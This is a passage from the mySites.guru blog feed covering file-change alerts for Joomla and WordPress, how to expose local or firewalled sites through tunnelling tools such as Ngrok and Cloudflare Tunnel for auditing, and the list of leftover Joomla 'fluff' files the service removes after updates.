&lt;h3&gt;Hashes match&lt;/h3&gt;
&lt;p&gt;The file hasn’t changed. Nothing happens. The check adds negligible overhead - calculating an MD5 of a small config file takes microseconds.&lt;/p&gt;
&lt;h3&gt;Hashes don’t match&lt;/h3&gt;
&lt;p&gt;The file has been modified since the last check. The plugin immediately sends a notification to mySites.guru, which fires an email alert to you (and any &lt;a href=&quot;https://mysites.guru/blog/manage-multiple-joomla-and-wordpress-sites-with-your-whole-team/&quot;&gt;team members&lt;/a&gt; with access to that site who have that alert switched on in their own preferences). The plugin then updates &lt;code&gt;.myjoomla.configuration.php.md5&lt;/code&gt; with the new hash, so the next page load won’t trigger a duplicate alert for the same change.&lt;/p&gt;
&lt;p&gt;This works the same way for every file you add to the watch list. If you monitor &lt;code&gt;index.php&lt;/code&gt;, you’ll get a &lt;code&gt;.myjoomla.index.php.md5&lt;/code&gt; file. Monitor &lt;code&gt;wp-config.php&lt;/code&gt; on a WordPress site and you’ll get the equivalent companion hash file from the mySites.guru WordPress plugin.&lt;/p&gt;
&lt;h3&gt;Why configuration.php matters&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;configuration.php&lt;/code&gt; is one of the most important files on a Joomla site. It contains your database credentials, secret keys, error reporting settings, cache configuration, and tmp/log paths. If a hacker modifies this file, they can redirect your database connection, disable error reporting to hide their tracks, or change your tmp path to a location they control.&lt;/p&gt;
&lt;p&gt;Getting an alert the instant &lt;code&gt;configuration.php&lt;/code&gt; changes means you know about it before the hacker has time to do anything else. You don’t need to wait for a scheduled scan or manually check your files - the next page load catches it.&lt;/p&gt;
&lt;p&gt;If that alert turns out to be your own change, or an attacker’s, our &lt;a href=&quot;https://mysites.guru/blog/web-file-manager-for-joomla-and-wordpress/&quot;&gt;web file manager&lt;/a&gt; lets you open the file straight from the dashboard to check exactly what changed, no FTP client needed.&lt;/p&gt;
&lt;h3&gt;Is it safe to delete .myjoomla.configuration.php.md5?&lt;/h3&gt;
&lt;p&gt;Yes, deleting it won’t break your site. But the mySites.guru plugin will recreate it on the next page load and treat the file as if it’s being monitored for the first time. You won’t get a false alert - it simply recalculates the hash and stores it fresh. If you want to stop monitoring a file entirely, remove it from the watch list in your mySites.guru dashboard instead of deleting the hash file on disk.&lt;/p&gt;
&lt;h2&gt;Can You Whitelist Your Own IP?&lt;/h2&gt;
&lt;p&gt;You can whitelist IP addresses so your own changes don’t trigger false alarms. The same principle applies to uptime monitoring - &lt;a href=&quot;https://mysites.guru/blog/uptime-monitoring-explained/&quot;&gt;whitelisting our monitoring IP&lt;/a&gt; prevents your server’s firewall from blocking the uptime checks.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;mySites.guru IP whitelist configuration with fields for adding trusted IP addresses&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;451&quot; src=&quot;https://mysites.guru/_astro/Screenshot-2020-05-01-at-09.40.15-1024x451.C1Y8KuBM_Z14rt4h.webp&quot; srcset=&quot;https://mysites.guru/_astro/Screenshot-2020-05-01-at-09.40.15-1024x451.C1Y8KuBM_Z2j7TXb.webp 640w, https://mysites.guru/_astro/Screenshot-2020-05-01-at-09.40.15-1024x451.C1Y8KuBM_vbPqM.webp 750w, https://mysites.guru/_astro/Screenshot-2020-05-01-at-09.40.15-1024x451.C1Y8KuBM_Z2iuGOt.webp 828w, https://mysites.guru/_astro/Screenshot-2020-05-01-at-09.40.15-1024x451.C1Y8KuBM_Z14rt4h.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;SSL expiration alerting&lt;/h2&gt;
&lt;p&gt;mySites.guru has included SSL certificate expiration alerts since 2012. If your &lt;a href=&quot;https://mysites.guru/blog/keep-an-eye-on-your-joomla-and-wordpress-ssl-certificate-expirations-with-mysites-guru/&quot;&gt;SSL certificate is approaching expiration&lt;/a&gt;, you’ll get an alert based on your preferences. You can also set the number of grace days before the alert fires.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;mySites.guru SSL expiration alert settings showing grace period configuration&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;339&quot; src=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-12-13.34.09-1024x339.J6J1RxNd_Z2Nf7v.webp&quot; srcset=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-12-13.34.09-1024x339.J6J1RxNd_Z2dyst7.webp 640w, https://mysites.guru/_astro/ScreenShot-2024-02-12-13.34.09-1024x339.J6J1RxNd_NjHCB.webp 750w, https://mysites.guru/_astro/ScreenShot-2024-02-12-13.34.09-1024x339.J6J1RxNd_Zkvxru.webp 828w, https://mysites.guru/_astro/ScreenShot-2024-02-12-13.34.09-1024x339.J6J1RxNd_Z2Nf7v.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Send alerts to multiple people with team members&lt;/h2&gt;
&lt;p&gt;If you want alerts to go to more than one person, add &lt;a href=&quot;https://mysites.guru/blog/manage-multiple-joomla-and-wordpress-sites-with-your-whole-team/&quot;&gt;team members&lt;/a&gt; to your account. Each one gets their own notification preferences, set on their own account rather than site by site, and each member only receives alerts for the sites they have access to. You can also &lt;a href=&quot;https://mysites.guru/blog/how-to-impersonate-your-mysites-guru-team-members/&quot;&gt;impersonate team members&lt;/a&gt; and configure their preferences on their behalf.&lt;/p&gt;
&lt;p&gt;One exception: the &lt;a href=&quot;https://mysites.guru/blog/accountant-portal-invoice-access/&quot;&gt;Accountant Portal&lt;/a&gt; role is excluded from these alerts by default. Accountants only receive billing emails, not operational noise.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;mySites.guru team member notification settings showing each member&apos;s own alert preferences&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;585&quot; src=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-12-14.08.53-1024x585.aciqLp4C_1CpHAl.webp&quot; srcset=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-12-14.08.53-1024x585.aciqLp4C_ZkmqyA.webp 640w, https://mysites.guru/_astro/ScreenShot-2024-02-12-14.08.53-1024x585.aciqLp4C_2i8lKm.webp 750w, https://mysites.guru/_astro/ScreenShot-2024-02-12-14.08.53-1024x585.aciqLp4C_Z279cwn.webp 828w, https://mysites.guru/_astro/ScreenShot-2024-02-12-14.08.53-1024x585.aciqLp4C_1CpHAl.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Alerting is one piece of what mySites.guru does - check the full &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;feature list&lt;/a&gt;, or run a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free security audit&lt;/a&gt; on one of your sites to see it in action.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Real-time alerting is a core feature in our &lt;a href=&quot;https://mysites.guru/guides/site-monitoring-alerting-guide/&quot;&gt;monitoring and alerting guide&lt;/a&gt;.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>alerts</category><category>monitoring</category><category>security</category><category>file changes</category><enclosure url="https://mysites.guru/img/og/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru.webp" length="0" type="image/webp"/></item><item><title>Audit local sites or sites behind firewalls with mySites.guru</title><link>https://mysites.guru/blog/how-to-audit-your-local-sites-with-mysites-guru-or-behind-firewalls/</link><guid isPermaLink="true">https://mysites.guru/blog/how-to-audit-your-local-sites-with-mysites-guru-or-behind-firewalls/</guid><description>How to connect local development sites or sites behind corporate firewalls to mySites.guru using tunnelling tools like Ngrok, Expose, and Cloudflare Tunnel.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;mySites.guru works with any site it can reach over the internet. That normally means live production sites, but with a tunnelling tool you can also connect local development sites, staging environments, or sites behind corporate firewalls and NATs.&lt;/p&gt;
&lt;p&gt;Below we’ll use &lt;a href=&quot;https://ngrok.com&quot;&gt;Ngrok&lt;/a&gt;, but &lt;a href=&quot;https://expose.dev&quot;&gt;Expose&lt;/a&gt; and &lt;a href=&quot;https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/&quot;&gt;Cloudflare Tunnel&lt;/a&gt; work the same way.&lt;/p&gt;
&lt;h2&gt;Why would you want to do this?&lt;/h2&gt;
&lt;p&gt;A few common scenarios:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;You’re building a site locally and want to run a &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;security audit&lt;/a&gt; or &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot&lt;/a&gt; before it goes live&lt;/li&gt;
&lt;li&gt;You’re &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;cleaning up a hacked site&lt;/a&gt; locally and want to verify the hack is fully removed before pushing it back to production&lt;/li&gt;
&lt;li&gt;You need to audit an intranet or server behind a corporate firewall that isn’t normally accessible from the internet&lt;/li&gt;
&lt;li&gt;You want to test &lt;a href=&quot;https://mysites.guru/blog/uptime-monitoring-explained/&quot;&gt;uptime monitoring&lt;/a&gt; or &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;real-time alerts&lt;/a&gt; against a staging environment&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;How Does Tunnelling Work?&lt;/h2&gt;
&lt;p&gt;Tunnelling tools create a secure connection between your local machine and a public URL. When mySites.guru connects to that URL, the traffic is routed through the tunnel back to your local web server. From mySites.guru’s perspective, it looks like any other live website.&lt;/p&gt;
&lt;p&gt;Most tunnelling tools also provide a valid SSL certificate automatically, so even if your local site runs on plain HTTP, the public URL will be HTTPS.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;⚠️ Your site becomes publicly accessible&lt;/p&gt;
  &lt;p&gt;While the tunnel is running, anyone with the URL can access your local site. The tunnel closes the moment you stop the tool. If this concerns you, paid plans on most tools let you restrict access by IP address - you can limit it to &lt;a href=&quot;https://manage.mysites.guru/public/ips&quot;&gt;mySites.guru&apos;s IP addresses&lt;/a&gt; only.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;How Do You Set Up with Ngrok?&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://ngrok.com&quot;&gt;Ngrok&lt;/a&gt; is the most widely used tunnelling tool. It has free and paid tiers.&lt;/p&gt;
&lt;h3&gt;1. Install and authenticate&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://ngrok.com/download&quot;&gt;Download Ngrok&lt;/a&gt; for your operating system and install it. Then authenticate with your account token:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;ngrok&lt;/span&gt;&lt;span&gt; authtoken&lt;/span&gt;&lt;span&gt; &amp;lt;&lt;/span&gt;&lt;span&gt;YOUR_AUTH_TOKE&lt;/span&gt;&lt;span&gt;N&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You’ll find your auth token on the &lt;a href=&quot;https://dashboard.ngrok.com/get-started/setup&quot;&gt;Ngrok dashboard&lt;/a&gt; after signing up.&lt;/p&gt;
&lt;h3&gt;2. Start a tunnel&lt;/h3&gt;
&lt;p&gt;If your local site runs on port 80:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;ngrok&lt;/span&gt;&lt;span&gt; http&lt;/span&gt;&lt;span&gt; 80&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If it runs on a different port (e.g. 8080):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;ngrok&lt;/span&gt;&lt;span&gt; http&lt;/span&gt;&lt;span&gt; 8080&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If your local site uses a hostname like &lt;code&gt;https://myhackedsite.local:8081&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;ngrok&lt;/span&gt;&lt;span&gt; http&lt;/span&gt;&lt;span&gt; https://myhackedsite.local:8081&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You’ll see output like this:&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;Ngrok terminal output showing the public tunnel URL and connection status&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;347&quot; src=&quot;https://mysites.guru/_astro/Screenshot-2020-06-22-at-10.47.43-1024x347.CAZoW2Lt_26KDdm.webp&quot; srcset=&quot;https://mysites.guru/_astro/Screenshot-2020-06-22-at-10.47.43-1024x347.CAZoW2Lt_Z11BoC8.webp 640w, https://mysites.guru/_astro/Screenshot-2020-06-22-at-10.47.43-1024x347.CAZoW2Lt_1cUKg3.webp 750w, https://mysites.guru/_astro/Screenshot-2020-06-22-at-10.47.43-1024x347.CAZoW2Lt_RWD86.webp 828w, https://mysites.guru/_astro/Screenshot-2020-06-22-at-10.47.43-1024x347.CAZoW2Lt_26KDdm.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The HTTPS URL shown (e.g. &lt;code&gt;https://c8b94007b63b.ngrok.io&lt;/code&gt;) is what you’ll give to mySites.guru.&lt;/p&gt;
&lt;h3&gt;3. Connect to mySites.guru&lt;/h3&gt;
&lt;p&gt;Take the HTTPS URL from Ngrok and &lt;a href=&quot;https://mysites.guru/blog/add-unlimited-joomla-and-wordpress-sites-to-mysites-guru/&quot;&gt;add it as a site&lt;/a&gt; in your mySites.guru account, just like you would any live site.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;ℹ️ Subscription requirement&lt;/p&gt;
  &lt;p&gt;You need an unlimited-sites subscription to connect tunnel URLs. Free trial, disposable, and single-site accounts cannot use tunnel URLs - this prevents fraud and abuse.&lt;/p&gt;
&lt;/div&gt;
&lt;h3&gt;4. When you’re done&lt;/h3&gt;
&lt;p&gt;Press &lt;code&gt;Ctrl+C&lt;/code&gt; in the terminal to stop the tunnel. Your local site immediately becomes inaccessible from the internet.&lt;/p&gt;
&lt;p&gt;On the free Ngrok tier, the URL changes every time you start a new tunnel. If you want a persistent URL, &lt;a href=&quot;https://ngrok.com/pricing&quot;&gt;upgrade to a paid plan&lt;/a&gt; and reserve a custom domain.&lt;/p&gt;
&lt;p&gt;If you’re using WordPress and running into issues with Ngrok, check the &lt;a href=&quot;https://ngrok.com/docs#wordpress&quot;&gt;WordPress-specific notes&lt;/a&gt; in the Ngrok docs.&lt;/p&gt;
&lt;h2&gt;What Are the Alternatives to Ngrok?&lt;/h2&gt;
&lt;p&gt;Ngrok is the most widely used option, but there are good alternatives.&lt;/p&gt;
&lt;h3&gt;Expose&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://expose.dev&quot;&gt;Expose&lt;/a&gt; is a tunnelling tool written in PHP. It works the same way as Ngrok: install it, run a command, and get a public URL for your local site.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;expose&lt;/span&gt;&lt;span&gt; share&lt;/span&gt;&lt;span&gt; http://localhost:8080&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Expose has a free hobby tier with time-limited sessions and random URLs. The Pro plan ($79/year) adds persistent URLs, custom domains, and access to global servers. If your stack is PHP-heavy, Expose feels like a natural fit. It also integrates with &lt;a href=&quot;https://herd.laravel.com/&quot;&gt;Laravel Herd&lt;/a&gt; if you use that for local development.&lt;/p&gt;
&lt;h3&gt;Cloudflare Tunnel&lt;/h3&gt;
&lt;p&gt;If you already use Cloudflare for DNS, &lt;a href=&quot;https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/&quot;&gt;Cloudflare Tunnel&lt;/a&gt; (formerly Argo Tunnel) can expose local services through your existing Cloudflare setup. It’s free for personal use through the Zero Trust dashboard.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;cloudflared&lt;/span&gt;&lt;span&gt; tunnel&lt;/span&gt;&lt;span&gt; --url&lt;/span&gt;&lt;span&gt; http://localhost:8080&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The main advantage is that traffic stays within Cloudflare’s network, and you can layer on their access policies for authentication. The trade-off is more setup than Ngrok or Expose.&lt;/p&gt;
&lt;h3&gt;Tailscale Funnel&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://tailscale.com/kb/1223/funnel/&quot;&gt;Tailscale Funnel&lt;/a&gt; lets you expose a local service to the internet through Tailscale’s network. It’s free with a Tailscale account. Good if you already use Tailscale for your VPN.&lt;/p&gt;
&lt;p&gt;All of these work with mySites.guru. The only requirement is that the tool gives you a public HTTPS URL that mySites.guru can reach.&lt;/p&gt;
&lt;h2&gt;What Can You Do Once Connected?&lt;/h2&gt;
&lt;p&gt;Once connected, your local site gets the full mySites.guru toolset - &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;security audits&lt;/a&gt; that scan every file for hacks, &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshots&lt;/a&gt; for best-practice checks, &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;file monitoring&lt;/a&gt; for real-time change alerts, and &lt;a href=&quot;https://mysites.guru/blog/uptime-monitoring-explained/&quot;&gt;uptime monitoring&lt;/a&gt; if you want to keep tabs on a staging environment.&lt;/p&gt;
&lt;p&gt;mySites.guru doesn’t know or care that the site is running on your laptop. It treats it the same as any live production site.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Local auditing fits into the broader security workflow in our &lt;a href=&quot;https://mysites.guru/guides/wordpress-joomla-security-guide/&quot;&gt;agency security guide&lt;/a&gt;.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security audits</category><category>local sites</category><category>firewalls</category><category>ngrok</category><category>tunnelling</category><enclosure url="https://mysites.guru/img/og/blog/how-to-audit-your-local-sites-with-mysites-guru-or-behind-firewalls.webp" length="0" type="image/webp"/></item><item><title>Remove Fluff Files After Joomla Updates</title><link>https://mysites.guru/blog/how-to-automatically-remove-fluff-files-after-joomla-updates/</link><guid isPermaLink="true">https://mysites.guru/blog/how-to-automatically-remove-fluff-files-after-joomla-updates/</guid><description>mySites.guru can automatically delete leftover installation folders, readme files and other fluff left behind after Joomla core updates.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;div&gt;&lt;p&gt;What is fluff?&lt;/p&gt;&lt;div&gt;&lt;p&gt;Unneeded files that Joomla distributes that you can safely remove from your site.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;em&gt;Remove the joomla fluff after each update&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Lots of people asked us to remove “Fluff files” automatically on upgrading Joomla, and now you can opt in for this on the &lt;strong&gt;Settings Tab&lt;/strong&gt; of your &lt;strong&gt;Manage Site&lt;/strong&gt; pages in your account at &lt;a href=&quot;https://mysites.guru&quot;&gt;https://mysites.guru&lt;/a&gt;. If you’re on Joomla 5.4+, you should also check whether &lt;a href=&quot;https://mysites.guru/blog/how-to-disable-joomla-automated-upgrades/&quot;&gt;automated core updates&lt;/a&gt; are enabled on your sites, since those can trigger updates (and leave fluff behind) without anyone touching the admin panel.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-02-18.40.41-1024x312.DQgCKr7a_2o5WEI.webp&quot; srcset=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-02-18.40.41-1024x312.DQgCKr7a_Z2uuqLC.webp 640w, https://mysites.guru/_astro/ScreenShot-2024-02-02-18.40.41-1024x312.DQgCKr7a_1Mn065.webp 750w, https://mysites.guru/_astro/ScreenShot-2024-02-02-18.40.41-1024x312.DQgCKr7a_6aTW0.webp 828w, https://mysites.guru/_astro/ScreenShot-2024-02-02-18.40.41-1024x312.DQgCKr7a_2o5WEI.webp 1024w&quot; alt=&quot;ScreenShot 18.40.41&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;312&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Removing these files won’t damage your site - it just tidies up your webspace. There’s no risk in leaving them, but removing them is good practice.&lt;/p&gt;
&lt;p&gt;You can check the status of these files at any time on the Snapshot Tab.&lt;/p&gt;
&lt;p&gt;After a snapshot is taken in mySites.guru, we display the number of files that are found in the snapshot results page&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-02-18.41.11-1024x254.DsWs5JKw_Z1QjO6S.webp&quot; srcset=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-02-18.41.11-1024x254.DsWs5JKw_xytM3.webp 640w, https://mysites.guru/_astro/ScreenShot-2024-02-02-18.41.11-1024x254.DsWs5JKw_Z2qKJqC.webp 750w, https://mysites.guru/_astro/ScreenShot-2024-02-02-18.41.11-1024x254.DsWs5JKw_ZHnCvs.webp 828w, https://mysites.guru/_astro/ScreenShot-2024-02-02-18.41.11-1024x254.DsWs5JKw_Z1QjO6S.webp 1024w&quot; alt=&quot;ScreenShot 18.41.11&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;254&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The “Learn More” button explains the check and the technical details. The “Investigate” button deletes the fluff files from your site.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/fluff.D1JngEBa_Z1YBboz.webp&quot; srcset=&quot;https://mysites.guru/_astro/fluff.D1JngEBa_vDjBl.webp 640w, https://mysites.guru/_astro/fluff.D1JngEBa_Z1YBboz.webp 680w&quot; alt=&quot;Fluff&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 680px) 680px, 100vw&quot; width=&quot;680&quot; height=&quot;586&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The files which we will remove are:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;/.appveyor.yml&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;/.drone.yml&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;/.editorconfig&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;/.git-blame-ignore-revs&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;/.gitignore&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;/.php-cs-fixer.dist.php&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;/.travis.yml&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;/build.xml&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;/CHANGELOG.php&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;/CODE_OF_CONDUCT.md&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;/configuration.php-dist&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;/CONTRIBUTING.md&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;/COPYRIGHT.php&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;/CREDITS.php&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;/cypress.config.dist.js&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;/htaccess.txt&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;/INSTALL.php&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;/joomla.xml&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;/LICENSE.php&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;/LICENSE.txt&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;/LICENSES.php&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;/package.json&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;/package-lock.json&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;/phpunit.xml.dist&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;/phpunit-pgsql.xml.dist&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;/README.md&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;/README.txt&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;/renovate.json&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;/robots.txt.dist&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;/ruleset.xml&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;/travisci-phpunit.xml&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;/web.config.txt&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;/images/banners/osmbanner1.png&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;/images/banners/osmbanner2.png&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;/images/banners/shop-ad-books.jpg&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;/images/banners/shop-ad.jpg&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;/images/banners/white.png&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;/images/headers/blue-flower.jpg&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;/images/headers/maple.jpg&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;/images/headers/raindrops.jpg&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;/images/headers/walden-pond.jpg&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;/images/headers/windows.jpg&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;/images/joomla_black.gif&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;/images/joomla_black.png&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;/images/joomla_green.gif&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;/images/joomla_logo_black.jpg&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;/images/powered_by.png&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;/images/sampledata/fruitshop/apple.jpg&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;/images/sampledata/fruitshop/bananas_2.jpg&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;/images/sampledata/fruitshop/fruits.gif&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;/images/sampledata/fruitshop/tamarind.jpg&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;/images/sampledata/parks/animals/180px_koala_ag1.jpg&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;/images/sampledata/parks/animals/180px_wobbegong.jpg&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;/images/sampledata/parks/animals/200px_phyllopteryx_taeniolatus1.jpg&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;/images/sampledata/parks/animals/220px_spottedquoll_2005_seanmcclean.jpg&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;/images/sampledata/parks/animals/789px_spottedquoll_2005_seanmcclean.jpg&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;/images/sampledata/parks/animals/800px_koala_ag1.jpg&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;/images/sampledata/parks/animals/800px_phyllopteryx_taeniolatus1.jpg&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;/images/sampledata/parks/animals/800px_wobbegong.jpg&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;/images/sampledata/parks/banner_cradle.jpg&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;/images/sampledata/parks/landscape/120px_pinnacles_western_australia.jpg&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;/images/sampledata/parks/landscape/120px_rainforest_bluemountainsnsw.jpg&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;/images/sampledata/parks/landscape/180px_ormiston_pound.jpg&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;/images/sampledata/parks/landscape/250px_cradle_mountain_seen_from_barn_bluff.jpg&lt;/span&gt;&lt;/span&gt;
